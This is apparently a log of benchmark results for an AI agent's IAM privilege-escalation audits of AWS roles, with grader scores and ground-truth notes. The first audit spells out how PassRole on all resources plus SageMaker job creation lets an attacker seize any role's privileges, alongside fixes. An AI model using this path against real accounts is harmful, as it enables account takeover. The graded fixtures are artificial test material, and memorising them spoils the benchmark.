"agent_output": "# IAM Audit: role/ml-training-platform\n\n**Principal:** `role/ml-training-platform`\n**Input:** 6 attached permissions policies, 16 statements total. No trust policy supplied. No permissions boundary supplied.\n\n---\n\n## Step 1 \u2014 Effective Permission Set\n\nResolving the union of all six policies. There are no `Deny` statements anywhere across the six documents. The effective permission set is the raw union of every `Allow`.\n\n**Key grants extracted:**\n\n| Action | Resource |\n|---|---|\n| `iam:PassRole` | `*` |\n| `sagemaker:CreateTrainingJob` | `arn:aws:sagemaker:eu-west-1:488213749302:training-job/*` |\n| `sagemaker:CreateProcessingJob` | `arn:aws:sagemaker:eu-west-1:488213749302:training-job/*` |\n| `iam:GetRole`, `iam:ListRoles` | `*` |\n| `ecr:GetAuthorizationToken` | `*` |\n| s3 read/write | two named buckets |\n| dynamodb read | one named table |\n| sqs read/write/delete | one named queue |\n| logs read | scoped log group |\n| ssm read | scoped parameter path |\n| cloudwatch read | `*` |\n| sagemaker describe/list | `*` |\n| sagemaker experiment write | scoped experiment ARN |\n| kms describe/list | one named key |\n\nNo blanket `Deny` on any action. No permissions boundary document supplied. The resolved effective set carries every `Allow` above at face value.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos\n\n### \ud83d\udd34 FINDING E1 \u2014 CRITICAL: `iam:PassRole` on `Resource '*'` + `sagemaker:CreateTrainingJob`\n\n**Grounded in:** `policy-4.json / PassTrainingExecutionRole` (PassRole on `*`) + `policy-6.json / RunTrainingAndProcessingJobs` (CreateTrainingJob, CreateProcessingJob)\n\n**What the escalation is:**\n\nNeither statement looks dangerous in isolation. `iam:PassRole` is routine for a training platform; `sagemaker:CreateTrainingJob` is its job. The union is the finding.\n\n`iam:PassRole` on `Resource \"*\"` means this principal can attach *any role in the account* \u2014 including roles with `AdministratorAccess` or broad data-plane privileges \u2014 as the execution role of a SageMaker training job. `sagemaker:CreateTrainingJob` is a role-binding launch action: the `RoleArn` field in the CreateTrainingJob API call is where the passed role is bound. Once the training job is running under that more-privileged role, the principal can retrieve its credentials via the job's container environment, or embed code in the job that exfiltrates them, calls downstream APIs, or attaches policies. The escalation path is:\n\n1. Call `iam:ListRoles` (already granted, `Resource \"*\"`) to enumerate candidate roles.\n2. Select a role with broad or administrative privileges.\n3. Call `sagemaker:CreateTrainingJob` with `RoleArn` set to that role. The PassRole check fires here and is satisfied because `Resource \"*\"` covers it.\n4. The job runs under the elevated role. Credentials are accessible from inside the job container, or the job's code (attacker-controlled) can take any action the role permits.\n\n`sagemaker:CreateProcessingJob` arms the same path \u2014 it also accepts a `RoleArn` parameter and is a role-binding launch action.\n\nThe PassRole scope is `Resource \"*\"`, which is the uncapped form. There is no compensating `Deny` on `iam:PassRole`, no resource-level restriction on which role ARNs can be passed, and no permissions boundary in scope. This escalation is real and fully supported by the effective permission set.\n\n**Severity: CRITICAL**\n\nThe PassRole is on `Resource \"*\"`, meaning any role in the account can be passed. The principal can reach any privilege level available to any role in the account.\n\n**Fix:**\n\nTwo independent controls, both required \u2014 one narrows the *pass target*, the other narrows the *launch resource*:\n\n1. **Scope `iam:PassRole` to the specific execution role ARN.** Replace `Resource \"*\"` with the ARN of the intended SageMaker execution role:\n\n```json\n{\n \"Sid\": \"PassTrainingExecutionRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"sagemaker.amazonaws.com\"\n }\n }\n}\n```\n\nThe `iam:PassedToService` condition ensures the role can only be passed to SageMaker, not to EC2, Lambda, or any other service the principal might be granted launch actions on in future policies.\n\n2. **Add an explicit `Deny` on `iam:PassRole` for any role ARN that is not the approved execution role**, as a belt-and-suspenders control that survives policy copy-paste errors:\n\n```json\n{\n \"Sid\": \"DenyPassRoleToNonApprovedRoles\",\n \"Effect\": \"Deny\",\n \"Action\": \"iam:PassRole\",\n \"NotResource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\"\n}\n```\n\n3. **Remove `iam:GetRole` and `iam:ListRoles` on `Resource \"*\"`**, or scope them. These actions are not required for launching a training job; they are useful for enumeration. Keeping them on `Resource \"*\"` allows the principal to survey the account's entire role inventory to select an escalation target.\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification\n\n### \ud83d\udfe0 FINDING W4 \u2014 MEDIUM: `iam:GetRole` / `iam:ListRoles` on `Resource '*'`\n\n**Grounded in:** `policy-4.json / ReadRolesForValidation`\n\n**What it is:** `iam:GetRole` and `iam:ListRoles` are read-only IAM actions, but on `Resource \"*\"` they expose the full IAM role inventory of the account \u2014 role names, ARNs, trust policies, attached policy ARNs, and inline policy names. This is meaningful reconnaissance data that directly supports the E1 escalation above (step 2): the principal can enumerate every role in the account to identify high-privilege targets before calling `sagemaker:CreateTrainingJob` with the chosen `RoleArn`. Resource-level scoping is supported for `iam:GetRole`.\n\n**Severity: MEDIUM** \u2014 over-broad on a mutable-adjacent surface; the reconnaissance value compounds E1.\n\n**Fix:** Scope to the specific role(s) the principal legitimately needs to read:\n\n```json\n{\n \"Sid\": \"ReadRolesForValidation\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetRole\"\n ],\n \"Resource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\"\n}\n```\n\n`iam:ListRoles` does not support resource-level scoping (it always operates at account level). If it is required for UI validation, retain it; if it is not strictly required, remove it.\n\n---\n\n### \ud83d\udfe1 FINDING W5 \u2014 LOW: `ecr:GetAuthorizationToken` on `Resource '*'`\n\n**Grounded in:** `policy-3.json / ReadModelRegistryEcr`\n\n**What it is:** `ecr:GetAuthorizationToken` returns a temporary Docker login token valid for twelve hours, scoped to the entire ECR service endpoint for the region \u2014 it is not scoped to a specific repository. Any principal that can call this action can authenticate to any ECR registry in the account's region and attempt to pull any image they have `ecr:BatchGetImage` rights to. The `Resource \"*\"` here is expected for this action (it does not support resource-level scoping), but the combination of `GetAuthorizationToken` + `BatchGetImage` + `GetDownloadUrlForLayer` on `Resource \"*\"` means the principal can pull any image from any repository in the account, not only the model registry repositories.\n\n**Severity: LOW** \u2014 the impact depends on what images are present in the account's ECR repositories (proprietary model weights, secrets baked into images, base images with known CVEs). This is a flag to verify, not a confirmed leak.\n\n**Fix:** `GetAuthorizationToken` cannot be resource-scoped; accept it on `Resource \"*\"` as-is. Scope `BatchGetImage` and `GetDownloadUrlForLayer` to the specific model registry repository ARNs:\n\n```json\n{\n \"Action\": [\n \"ecr:BatchGetImage\",\n \"ecr:GetDownloadUrlForLayer\",\n \"ecr:DescribeImages\"\n ],\n \"Resource\": [\n \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-model-registry\",\n \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-training-images\"\n ]\n}\n```\n\n---\n\n### \ud83d\udfe1 FINDING W5 \u2014 LOW: `cloudwatch:GetMetricData` / `ListMetrics` on `Resource '*'`\n\n**Grounded in:** `policy-3.json / ReadTrainingMetrics`\n\n**What it is:** CloudWatch metrics can reveal operational details about resources across the account (Lambda invocation rates, RDS connection counts, SageMaker endpoint traffic, etc.) beyond the training platform's own metrics. The data classification of those metrics and whether they constitute sensitive operational intelligence depends on the workload, which is outside this document.\n\n**Severity: LOW** \u2014 read-only, no mutation path, but the resource scope is broader than the training platform's own namespace.\n\n**Fix:** Scope to the SageMaker and training-relevant metric namespaces if CloudWatch supports dimension-based conditions, or accept as a low-risk read grant given CloudWatch metrics are not typically sensitive. Consider adding a `Condition` on `cloudwatch:namespace` if the metrics being read should be restricted to `AWS/SageMaker`.\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure\n\nNo trust policy was supplied. **Check X1 cannot be evaluated.** See the boundary section below.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Check\n\nThere are no `Deny` statements in any of the six policies. There is no permissions boundary. No neutralisation mechanisms are present. The E1 escalation found in step 2 is not neutralised. There is nothing to clear.\n\n---\n\n## Summary of Findings\n\n| Severity | Code | Finding |\n|---|---|---|\n| **CRITICAL** | E1 | `iam:PassRole` on `Resource \"*\"` (policy-4) + `sagemaker:CreateTrainingJob` / `CreateProcessingJob` (policy-6): pass any account role as the SageMaker execution role and inherit its privileges |\n| **MEDIUM** | W4 | `iam:GetRole` / `iam:ListRoles` on `Resource \"*\"` (policy-4): full account role inventory exposed, directly supports E1 reconnaissance |\n| **LOW** | W5 | `ecr:BatchGetImage` / `GetDownloadUrlForLayer` on `Resource \"*\"` (policy-3): can pull images from any ECR repository in the account |\n| **LOW** | W5 | `cloudwatch:GetMetricData` / `ListMetrics` on `Resource \"*\"` (policy-3): can read metrics across all account resources |\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following four joins exist and are unresolved. Each is a place where the real risk could be higher or lower than this audit states:\n\n1. **Privileges of the targeted roles.** The E1 escalation is rated critical because `iam:PassRole` is on `Resource \"*\"`, which means *any* role in the account can be passed. The actual blast radius depends on what the most privileged role in the account can do. If no role in the account has more than read-only access, E1 degrades to no practical gain. If any role has `AdministratorAccess` or broad IAM/data-plane rights, E1 is a full account compromise path. This audit cannot see those roles. **Confirm by inspecting the account's role inventory**, particularly roles whose names or descriptions suggest elevated privilege, which `iam:ListRoles` on `Resource \"*\"` would already expose to this principal.\n\n2. **Permissions boundary.** No permissions boundary was supplied. A permissions boundary that `Deny`s `iam:PassRole` on `Resource \"*\"` would cap the E1 path entirely, regardless of what the policies allow. Without one, the Allow in policy-4 is uncapped and the finding stands as stated. If a boundary exists and was omitted from this review, re-run the audit with it.\n\n3. **Org SCPs.** A Service Control Policy applied at the account or OU level can Deny `iam:PassRole` or `sagemaker:CreateTrainingJob` account-wide and make E1 inert from outside the account's policy documents. This audit cannot see the org hierarchy. If this account sits under an SCP that restricts PassRole, E1 may be neutralised at the org layer \u2014 but do not rely on that without confirming the SCP.\n\n4. **Trust policy.** The trust policy for `role/ml-training-platform` was not supplied. The trust policy controls who can assume this role and thus who can exercise these permissions. A misconfigured trust policy (wildcard principal, no ExternalId condition for cross-account access) would be an X1 finding that this audit cannot evaluate. Supply the `AssumeRolePolicyDocument` to close this gap.",
"agent_chars": 11994,
"agent_s": 67.4,
"elapsed_s": 76.3
},
{
"fixture": "06-cross-account-assume-condition-gated",
"condition": "treatment",
"trial": 0,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses all statements including the condition-gated sts:AssumeRole and the read-only billing/S3 actions with their resource scopes.",
"Correctly reports no findings, matching the ground truth that the policy is clean.",
"Raises no false positives; correctly identifies the wildcard trust principal and cross-account assume as neutralised by conjunctive conditions.",
"Evaluates the union of both policies and explicitly checks for iam:UpdateAssumeRolePolicy to confirm the condition cannot be relaxed, demonstrating proper cross-statement reasoning.",
"Does not headline any neutralised or read-only grant as critical; correctly concludes the role is clean with no severity assigned.",
"Names multiple boundary items including other attached policies, permissions boundary, org SCPs, and the target role's privileges in account 905512347781.",
"Top fix correctly states no fix is needed for the neutralised policy, matching the ground-truth recommendation."
],
"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/cost-reporting-collector`\n\n**Principal:** `role/cost-reporting-collector`\n**Input:** 2 permissions policies (4 statements total), 1 trust policy (1 statement)\n**No permissions boundary supplied.**\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\nUnioning all Allow statements, with no Deny statements present anywhere:\n\n| Action | Resource | Condition |\n|---|---|---|\n| `sts:AssumeRole` | `arn:aws:iam::905512347781:role/external-cost-auditor` | `sts:ExternalId = vendor-cost-auditor-prod` AND `aws:PrincipalOrgID = o-9f3kxample` |\n| `ce:GetCostAndUsage`, `ce:GetCostForecast`, `cur:DescribeReportDefinitions` | `*` | none |\n| `s3:GetObject`, `s3:ListBucket` | `arn:aws:s3:::cost-reports-export` and `arn:aws:s3:::cost-reports-export/*` | none |\n| `budgets:ViewBudget`, `budgets:DescribeBudgetActionsForBudget` | `*` | none |\n\nNo blanket Deny exists. No wildcard `Action`. No `NotAction`. The effective set is narrow: billing/cost reads, two pinned S3 actions, and one condition-gated cross-account assume.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\n**E1 (`iam:PassRole` + compute-launch):** `iam:PassRole` is not in the effective set. **Not present. No finding.**\n\n**E2 (`iam:CreatePolicyVersion` / `iam:SetDefaultPolicyVersion`):** Not in the effective set. **Not present. No finding.**\n\n**E3 (`lambda:UpdateFunctionCode`):** Not in the effective set. **Not present. No finding.**\n\n**E4 (policy-attach / put actions):** Not in the effective set. **Not present. No finding.**\n\n**E5 (`iam:UpdateAssumeRolePolicy` + `sts:AssumeRole`):** `iam:UpdateAssumeRolePolicy` is not in the effective set. The trust-rewrite half of E5 is absent. Without it, `sts:AssumeRole` alone is not a self-escalation path. **Not present. No finding.**\n\n**E6 (credential-minting for another identity):** `iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:AddUserToGroup`, and equivalents are absent. **Not present. No finding.**\n\n**Cross-account assume \u2014 detailed neutralisation analysis:**\n\nThis is the pattern the methodology's fixture `06-cross-account-assume-condition-gated` is designed to adjudicate correctly.\n\nThe `sts:AssumeRole` grant (policy-1, `AssumeVendorAuditRoleCrossAccount`) carries two conjunctive conditions:\n- `sts:ExternalId = vendor-cost-auditor-prod`\n- `aws:PrincipalOrgID = o-9f3kxample`\n\nBoth must be satisfied simultaneously for the assume to succeed at this principal's end.\n\nThe **target role's trust policy** (supplied) admits only principals that satisfy the same two conditions from the other side. A caller that is not in org `o-9f3kxample` cannot satisfy `aws:PrincipalOrgID`; a caller that does not present the matching `ExternalId` cannot satisfy `sts:ExternalId`. Both gates must be cleared at both ends.\n\nThere is no `iam:UpdateAssumeRolePolicy` in the effective set, so neither this principal nor an attacker using its credentials can rewrite the target's trust to relax those conditions.\n\n**Verdict:** The path is sealed by matching conditions on both sides with no rewrite capability. This is the standard cross-account vendor-access pattern. Per the methodology, an `sts:AssumeRole` narrowed by `sts:ExternalId` + `aws:PrincipalOrgID`, where the target's trust is narrowed by the same conditions and no `iam:UpdateAssumeRolePolicy` exists to relax either side, is **inert as an escalation path**. No finding is raised. The grant is not recommended for removal \u2014 it is the intended functional purpose of this role.\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\n**W1 (`Action '*'` on `Resource '*'`):** Absent. **No finding.**\n\n**W3 (`Allow` + `NotAction`):** Absent. **No finding.**\n\n**W2 (service-level wildcard on a sensitive service):** No `svc:*` wildcards anywhere. **No finding.**\n\n**W4 (mutating actions on `Resource '*'`):** All actions in the effective set are read-only. No mutating actions are present. **No finding.**\n\n**W5 (broad read on `Resource '*'` \u2014 sensitive-data set):** This requires checking the methodology's sensitive-data read set: `s3:GetObject`/`ListBucket`, `secretsmanager:GetSecretValue`, `kms:Decrypt`, `dynamodb:GetItem`/`Scan`/`Query`, `ssm:GetParameter(s)`.\n\n- `s3:GetObject` and `s3:ListBucket` are present \u2014 but they are **pinned to a specific bucket** (`arn:aws:s3:::cost-reports-export` and its objects), not `Resource \"*\"`. The W5 trigger condition (`Resource \"*\"`) is not met. **No W5 finding on S3.**\n- `ce:GetCostAndUsage`, `ce:GetCostForecast`, `cur:DescribeReportDefinitions`, `budgets:ViewBudget`, `budgets:DescribeBudgetActionsForBudget` on `Resource \"*\"` are billing/cost metadata reads. These are explicitly in the methodology's benign category (\"cost-and-usage / billing reads\"). **No W5 finding.**\n\n**No wildcard grant findings.**\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\nThe trust policy (`AnyPrincipalButOnlyFromOurOrgWithExternalId`) uses `\"AWS\": \"*\"` \u2014 a wildcard principal \u2014 which would ordinarily trigger **X1 (high)**. However, the statement carries a `StringEquals` condition requiring both:\n- `aws:PrincipalOrgID = o-9f3kxample`\n- `sts:ExternalId = vendor-cost-auditor-prod`\n\nThe methodology is explicit: *\"A wildcard principal with an ExternalId or org condition (the cross-account vendor pattern) is fine and must not be flagged.\"* This trust policy is exactly that pattern. The wildcard is fully narrowed by a conjunctive two-factor condition. **X1 does not fire. No finding.**\n\n---\n\n## Findings Summary\n\n**No real escalation paths exist. No over-broad grants exist.**\n\nEvery apparent concern is neutralised:\n\n| Apparent concern | Neutralisation | Verdict |\n|---|---|---|\n| `sts:AssumeRole` on a cross-account role | Conjunctive `sts:ExternalId` + `aws:PrincipalOrgID` conditions at both ends; no `iam:UpdateAssumeRolePolicy` to rewrite either side | Inert \u2014 sealed condition, not an escalation |\n| Trust policy wildcard `Principal \"*\"` | Same two-factor condition (`PrincipalOrgID` + `ExternalId`) narrows it to the intended vendor pattern | Not X1 \u2014 correctly formed cross-account trust |\n| S3 read actions | Scoped to a single named bucket and prefix, not `Resource \"*\"` | Not W5 \u2014 resource-level scoping is correct |\n| Billing/cost reads on `Resource \"*\"` | Non-sensitive metadata reads; explicitly outside the W5 sensitive-data set | Not W5 \u2014 benign by category |\n\nNo E1\u2013E6 combo is present. No W1\u2013W5 wildcard finding fires. No X1 trust exposure exists.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following questions are outside what the supplied documents can answer. They are not gaps in this audit; they are joins that require additional inputs:\n\n1. **Other attached policies not supplied.** This audit covers `policy-1.json` and `policy-2.json`. If this role has additional managed or inline policies attached that were not provided, the effective permission set is incomplete. A grant or a neutralising Deny in an unsupplied policy is invisible here. *Verify:* `aws iam list-attached-role-policies --role-name cost-reporting-collector` and `aws iam list-role-policies` (for inlines).\n\n2. **Permissions boundary.** No boundary was supplied. A permissions boundary on this role could further restrict the effective set (or, if absent, means the Allows are the ceiling). Given this role's narrow grant, the absence of a boundary is low risk in practice \u2014 but the boundary should be confirmed to exist and to cap any future policy additions. *Verify:* `aws iam get-role --role-name cost-reporting-collector` \u2192 check `PermissionsBoundary`.\n\n3. **Org SCPs.** Service Control Policies at the org or OU level can Deny actions this policy Allows. They are invisible from the account. If the org applies an SCP that restricts `sts:AssumeRole` to same-account targets, for example, the cross-account grant is additionally gated. *Verify:* `aws organizations list-policies-for-target` against this account's OU.\n\n4. **Privileges of `arn:aws:iam::905512347781:role/external-cost-auditor`.** This audit confirms the assume path is correctly condition-gated but does not assess what the target role can do. If that role carries permissions beyond read-only cost data in account `905512347781`, this principal (or anything that legitimately assumes it) inherits those permissions when the assume succeeds. The risk of this grant is bounded by the target role's privilege level, which is in a different account's policy documents. *Verify:* inspect the target role's attached policies in account `905512347781`.",
"agent_chars": 8483,
"agent_s": 49.5,
"elapsed_s": 55.8
},
{
"fixture": "06-cross-account-assume-condition-gated",
"condition": "treatment",
"trial": 1,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Agent correctly parses all statements including the conditioned sts:AssumeRole, expanding the full effective permission set accurately.",
"Agent correctly identifies no findings, matching the ground truth that the policy is clean with the cross-account assume being inert due to dual condition gates.",
"Agent raises no false positives; the wildcard Principal in the trust policy is correctly treated as a hardening note rather than a live finding.",
"Agent evaluates the union of both policies and correctly reasons about both the outbound condition on the assume grant and the inbound trust condition as a combined seal.",
"Agent headlines the policy as clean and does not elevate any neutralised or read-only grant to critical severity.",
"Agent explicitly names multiple boundary limitations including other attached policies, permissions boundary, org SCPs, and the target role's privileges in account 905512347781.",
"Agent correctly states no fix is needed for the neutralised policy, matching the ground-truth recommendation, while optionally suggesting removal of the unused grant."
],
"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/cost-reporting-collector`\n\n**Principal:** `role/cost-reporting-collector`\n**Input:** 2 permissions policies (4 statements total), 1 trust policy (1 statement)\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\n**Allows (unioned across policy-1 and policy-2):**\n\n| Action | Resource | Condition |\n|---|---|---|\n| `sts:AssumeRole` | `arn:aws:iam::905512347781:role/external-cost-auditor` | `sts:ExternalId = vendor-cost-auditor-prod` AND `aws:PrincipalOrgID = o-9f3kxample` |\n| `ce:GetCostAndUsage` | `*` | none |\n| `ce:GetCostForecast` | `*` | none |\n| `cur:DescribeReportDefinitions` | `*` | none |\n| `s3:GetObject` | `arn:aws:s3:::cost-reports-export/*` | none |\n| `s3:ListBucket` | `arn:aws:s3:::cost-reports-export` | none |\n| `budgets:ViewBudget` | `*` | none |\n| `budgets:DescribeBudgetActionsForBudget` | `*` | none |\n\n**Denies:** None in any attached policy.\n\n**Permissions boundary:** Not supplied.\n\n**IAM mutation primitives present:** None (`iam:PassRole`, `iam:AttachRolePolicy`, `iam:CreatePolicyVersion`, `iam:UpdateAssumeRolePolicy`, etc. are all absent).\n\n**Compute-launch actions present:** None.\n\n**Credential-minting actions present:** None beyond the one `sts:AssumeRole` examined below.\n\nThe effective permission set is narrow: cost/billing reads, scoped S3 reads, and one cross-account assume gated by two conditions.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\n**E1 (PassRole + compute-launch):** `iam:PassRole` is not present in either policy. No E1 path exists. \u2713 Clean.\n\n**E2 (policy rewrite in place):** `iam:CreatePolicyVersion` and `iam:SetDefaultPolicyVersion` are absent. \u2713 Clean.\n\n**E3 (function code hijack):** `lambda:UpdateFunctionCode` is absent. \u2713 Clean.\n\n**E4 (self-attach admin policy):** `iam:AttachRolePolicy`, `iam:AttachUserPolicy`, `iam:PutRolePolicy`, and equivalents are absent. \u2713 Clean.\n\n**E5 (trust-policy rewrite + assume):** `iam:UpdateAssumeRolePolicy` is absent. The `sts:AssumeRole` grant cannot be weaponised into E5 without the rewrite half. \u2713 Clean.\n\n**E6 (credential minting for another identity):** `iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:AddUserToGroup`, and equivalents are absent. \u2713 Clean.\n\n---\n\n## Step 3 \u2014 Cross-Account `sts:AssumeRole` \u2014 Detailed Assessment\n\nThis is the statement that warrants the closest scrutiny. The methodology is explicit: a cross-account assume sealed by a Condition at *both ends*, with no `iam:UpdateAssumeRolePolicy` to relax either side, is **inert** \u2014 not an escalation.\n\n**Applying the two-sided seal test:**\n\n**Outbound side (policy-1, `AssumeVendorAuditRoleCrossAccount`):**\nThe grant fires only when *both* of the following hold at call time:\n- `sts:ExternalId = \"vendor-cost-auditor-prod\"` \u2014 a shared secret the caller must supply in the API call.\n- `aws:PrincipalOrgID = \"o-9f3kxample\"` \u2014 the calling principal must be a member of org `o-9f3kxample`. Because this is an org-membership check evaluated against *this* principal at call time, it is always satisfied when this role itself makes the call (the role lives in the same org). This condition is therefore a redundant constraint on the outbound side but not an exploitable gap.\n\n**Inbound side (target trust policy, `arn:aws:iam::905512347781:role/external-cost-auditor`):**\nThe supplied trust policy reads:\n\n```\nPrincipal: { \"AWS\": \"*\" }\nCondition:\n aws:PrincipalOrgID = \"o-9f3kxample\"\n sts:ExternalId = \"vendor-cost-auditor-prod\"\n```\n\nThe `Principal: \"*\"` is wide, but it is narrowed at evaluation time by the `StringEquals` conditions on both `aws:PrincipalOrgID` and `sts:ExternalId`. AWS evaluates both conditions as a logical AND. A caller outside org `o-9f3kxample` cannot satisfy `aws:PrincipalOrgID`, and any caller lacking the shared ExternalId cannot satisfy `sts:ExternalId`. The two conditions together form a meaningful gate: only an org-member principal that also knows the ExternalId can assume this role.\n\n**No `iam:UpdateAssumeRolePolicy` is present** in either permissions policy, so this principal cannot relax the inbound trust condition, cannot remove the ExternalId requirement, and cannot redirect the trust to a different principal. The seal at both ends is intact and cannot be opened from this principal's permission set alone.\n\n**Verdict:** The cross-account assume is **not an escalation**. It is a valid, correctly implemented cross-account vendor-access pattern. The path is inert as an escalation vector.\n\n---\n\n## Step 4 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\n**W1 (`Action '*'` on `Resource '*'`):** Not present. \u2713\n\n**W3 (`Allow` + `NotAction`):** Not present. \u2713\n\n**W2 (service-level wildcard on a sensitive service):** No `svc:*` wildcard on any sensitive service. `ce:*` and `budgets:*` are not sensitive-service wildcards under the methodology (no credential-bearing, mutation, or data-exfiltration surface). \u2713\n\n**W4 (mutating actions on `Resource '*'` where scoping is possible):** The only actions on `Resource \"*\"` are:\n- `ce:GetCostAndUsage`, `ce:GetCostForecast`, `cur:DescribeReportDefinitions` \u2014 read-only; cost/usage APIs do not support resource-level ARNs in IAM (they are account-wide by design). `Resource \"*\"` is the only valid form. Not a W4 finding.\n- `budgets:ViewBudget`, `budgets:DescribeBudgetActionsForBudget` \u2014 read-only; budgets actions similarly use account-level scope. Not a W4 finding.\n\n\u2713 No W4.\n\n**W5 (broad sensitive-data read on `Resource '*'`):**\n- `s3:GetObject` and `s3:ListBucket` are W5 candidates, but they are **scoped to a named bucket** (`cost-reports-export` and `cost-reports-export/*`), not `Resource \"*\"`. W5 requires `Resource \"*\"`. \u2713 Not triggered.\n- The `ce:`, `cur:`, and `budgets:` reads are billing/cost-and-usage metadata. The methodology explicitly excludes billing reads and `Describe*`/`List*` inventory from W5. \u2713 Not triggered.\n\n\u2713 No W5.\n\n---\n\n## Step 5 \u2014 Trust-Policy Exposure (X1)\n\nThe trust policy uses `Principal: { \"AWS\": \"*\" }`. This would be X1 \u2014 **except** that it is narrowed by a `StringEquals` condition on *both* `aws:PrincipalOrgID` and `sts:ExternalId`. The methodology is explicit: a wildcard principal with a narrowing `aws:PrincipalOrgID` / `sts:ExternalId` condition is the cross-account vendor pattern and **must not be flagged**.\n\nHowever, one structural note is warranted (not a severity finding, but a hardening opportunity): a `Principal: \"*\"` that is org-and-ExternalId-gated is functionally equivalent to a `Principal: { \"AWS\": \"arn:aws:iam::905512347781:role/external-cost-auditor\" }` pattern for a known vendor, but is strictly wider in that it permits *any* org member with the ExternalId to assume the role \u2014 not just the specific vendor account. If the intent is to allow *only* account `905512347781`, pinning the principal to a specific account ARN is more precise. This is a hardening note, not a finding.\n\n\u2713 No X1 finding.\n\n---\n\n## Findings Summary\n\n**No privilege-escalation paths exist. No over-broad wildcard grants exist.**\n\n| # | Rule | Severity | Statement | Why it is neutralised |\n|---|---|---|---|---|\n| \u2014 | E1 | \u2014 | N/A | `iam:PassRole` absent |\n| \u2014 | E2 | \u2014 | N/A | Policy-rewrite actions absent |\n| \u2014 | E3 | \u2014 | N/A | `lambda:UpdateFunctionCode` absent |\n| \u2014 | E4 | \u2014 | N/A | Policy-attach/put actions absent |\n| \u2014 | E5 | \u2014 | N/A | `iam:UpdateAssumeRolePolicy` absent; assume alone is not E5 |\n| \u2014 | E6 | \u2014 | N/A | Credential-minting actions absent |\n| \u2014 | W1\u2013W5 | \u2014 | N/A | No wildcard on sensitive resource; S3 reads bucket-scoped; billing reads excluded from W5 |\n| \u2014 | X1 | \u2014 | Trust policy | Wildcard principal narrowed by `aws:PrincipalOrgID` + `sts:ExternalId`; correctly implements vendor pattern |\n| \u2014 | Cross-account assume | \u2014 | `AssumeVendorAuditRoleCrossAccount` | Sealed by matching conditions at both ends; no `UpdateAssumeRolePolicy` to reopen either side; inert as escalation |\n\n**VERDICT: Clean.** The policy is a correctly-scoped cost-reporting role. The cross-account assume is the intended vendor-access pattern, not an escalation vector.\n\n---\n\n## Hardening Note (non-finding)\n\n**Trust policy \u2014 principal over-breadth (structural, no severity assigned):**\n`Principal: { \"AWS\": \"*\" }` narrowed by org-id + ExternalId permits any org member who knows the ExternalId to assume this role, not just the specific vendor account. If the intent is `905512347781` only, replacing `\"*\"` with `\"arn:aws:iam::905512347781:root\"` (or the specific role ARN in that account) eliminates the residual org-internal surface without changing the functional behaviour for the intended caller. Recommend confirming intent with the team that owns the trust policy.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following questions are answerable only from documents not supplied:\n\n1. **Other attached policies.** Only `policy-1.json` and `policy-2.json` were audited. If additional managed or inline policies are attached to `role/cost-reporting-collector`, the effective permission set is a superset of what was analysed here. An escalation-bearing action in an unreviewed policy would not appear in this audit.\n\n2. **Permissions boundary.** No permissions boundary was supplied. A boundary could further restrict the effective permissions analysed here, but could not grant additional ones. Without it, this audit cannot confirm the *ceiling* of what the role can actually do \u2014 only that the supplied policies do not, by themselves, enable escalation.\n\n3. **Org SCPs.** Service Control Policies at the OU or account level could additionally deny any of the actions allowed above (including `sts:AssumeRole` on the vendor role). This audit sees none of them. An SCP could make this role even more restricted than these policies express.\n\n4. **Privileges of `arn:aws:iam::905512347781:role/external-cost-auditor`.** The target role's trust policy was supplied, but its *permissions* policies were not. Whether assuming that role constitutes lateral movement to a more-privileged position depends entirely on what that role can do in account `905512347781`. This audit treats the assume as scoped to a vendor auditor role by name and context, but cannot confirm the target role is not over-privileged. If the target role has broad or administrative permissions in account `905512347781`, the assume grant becomes significant \u2014 not as an escalation in this account, but as a reach into the vendor account. Recommend validating the target role's permission set directly.",
"agent_chars": 10450,
"agent_s": 61.9,
"elapsed_s": 69.1
},
{
"fixture": "06-cross-account-assume-condition-gated",
"condition": "treatment",
"trial": 2,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"All statements are parsed correctly, including the conditioned sts:AssumeRole and the read-only wildcard-resource grants.",
"Correctly identifies no findings, matching the ground truth that this is a clean policy with a condition-sealed cross-account AssumeRole.",
"No false positives raised; the wildcard principal in the trust policy and the cross-account AssumeRole are both correctly assessed as non-issues given the dual conditions.",
"Cross-statement reasoning is thorough: the agent correctly evaluates the union of both sides of the trust handshake and the absence of iam:UpdateAssumeRolePolicy to confirm the path is inert.",
"No escalation is headlined as critical; the analysis is appropriately calibrated to a clean policy with benign read-only grants.",
"Boundary section explicitly names: target role privileges in account 905512347781, permissions boundary, org SCPs, and other attached policies \u2014 matching the ground-truth join.",
"Top fix correctly states no fix is needed (policy is clean/inert), with an optional note to remove the unused cross-account AssumeRole grant, matching the ground-truth recommendation."
],
